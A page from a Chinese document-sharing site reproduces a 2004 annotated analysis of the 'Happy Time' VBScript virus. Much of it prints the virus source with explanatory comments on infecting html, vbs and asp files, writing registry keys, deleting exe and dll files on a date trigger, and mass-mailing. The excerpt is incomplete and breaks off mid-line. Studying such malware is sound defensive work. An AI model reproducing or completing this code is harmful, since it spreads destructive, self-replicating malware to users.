欢乐时光代码分析

2022-06-01 19:11:36   第一文档网     [ 字体: ] [ 阅读: ] [ 文档下载 ]
说明:文章内容仅供预览,部分内容可能不全。下载后的文档,内容与下面显示的完全一致。下载之前请确认下面内容是否您想要的,是否完整无缺。下载word有问题请添加QQ:admin处理,感谢您的支持与谅解。点击这里给我发消息

#第一文档网# 导语】以下是®第一文档网的小编为您整理的《欢乐时光代码分析》,欢迎阅读!
欢乐,时光,代码,分析

欢乐时光代码分析



作者: billlai 整理日期:2004615

*************** 欢乐时光 *************** Rem I am sorry! happy time On Error Resume Next Mload

'以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。

Sub mload()

On Error Resume Next mPath = Grf()

Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application") '建立枚举对象,避开了安全审核 If IsHTML Then

'调用IsHtml函数,如果是Html,就小写„„ mURL = LCase(document.Location) If mPath = "" Then Os.Reset

Os.Path = "C:\Help.htm" Os.Doc = Lhtml() Os.Write()

'如果mPath为空,就在C盘下生成Help.htm Ihtml = ""

'超文本的内容,并指向C:\Help.Htm

Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) Else

If Iv(mPath, "Help.vbs") Then setInterval "Rt()", 10000 Else m = "hta"

If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) '设置超时条件 main Else Os.Reset()

Os.Path = mPath & "\" & "Help.hta" Os.Doc = Lhtml() Os.write()

Iv mPath, "Help.hta" '生成Help.hta End If


End If End If Else Main

'都不是,就执行main函数 End If End Sub

'****************************************************************** '以下为主函数,太长了! Sub main()

On Error Resume Next

Set Of = CreateObject("Scripting.FileSystemObject") '不用说,创建FileSystemObject对象啦 Set Od = CreateObject("Scripting.Dictionary")

'创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组 Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010"

'Dictionary对象添加要感染的项目对 Ks = "HKEY_CURRENT_USER\Software\" '使用变量以减少代码长度 Ds = Grf() Cs = Gsf() If IsVbs Then '如果是VBS

If Of.FileExists("C:\help.htm") Then Of.DeleteFile ("C:\help.htm")

'如果c:\help.htm存在,就删掉,消灭遗留的痕迹 End If

Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then

'如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可) Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001"

'就清空Dictionary数组,并将exedll加入Dictionary 对象,以备删除之用 End If

Cn = Rg(Ks & "Help\Count")

'读注册表中的HKEY_CURRENT_USER\Software\Help\Count键值 If Cn = "" Then Cn = 1

'如果Count0,就设为1 End If

Rw Ks & "Help\Count", Cn + 1

'添加HKEY_CURRENT_USER\Software\Help\Count键值,值为2 f1 = Rg(Ks & "Help\FileName")


'再读HKEY_CURRENT_USER\Software\Help\FileName键值 f2 = FNext(Of, Od, f1) '得到该文件的文件名 fext = GetExt(Of, Od, f2) '得到该文件扩展名的代号 Rw Ks & "Help\FileName", f2 '添加键值

If IsDel(fext) Then

'如果扩展名代号的第四个字符为1——即0001(exedll) f3 = f2 '储存文件名

f2 = FNext(Of, Od, f2) '得到文件的文件名?

Rw Ks & "Help\FileName", f2 '写注册表 Of.DeleteFile f3 '删除文件 Else

If LCase(WScript.ScriptFullname) <> LCase(f2) Then '如果不是集合中的文件 Fw Of, f2, fext End If End If

If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then '使用 Cint函数强制执行转换,并发邮件 Tsend Else adds = Og Msend (adds) End If End If

wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then '比较桌面墙纸是否已改变 If wp = "" Then n1 = ""

n3 = Cs & "\Help.htm" Else

mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If

Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") '创建超文本

pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><


本文来源:https://www.dywdw.cn/2799c8b465ce0508763213e1.html

相关推荐
推荐阅读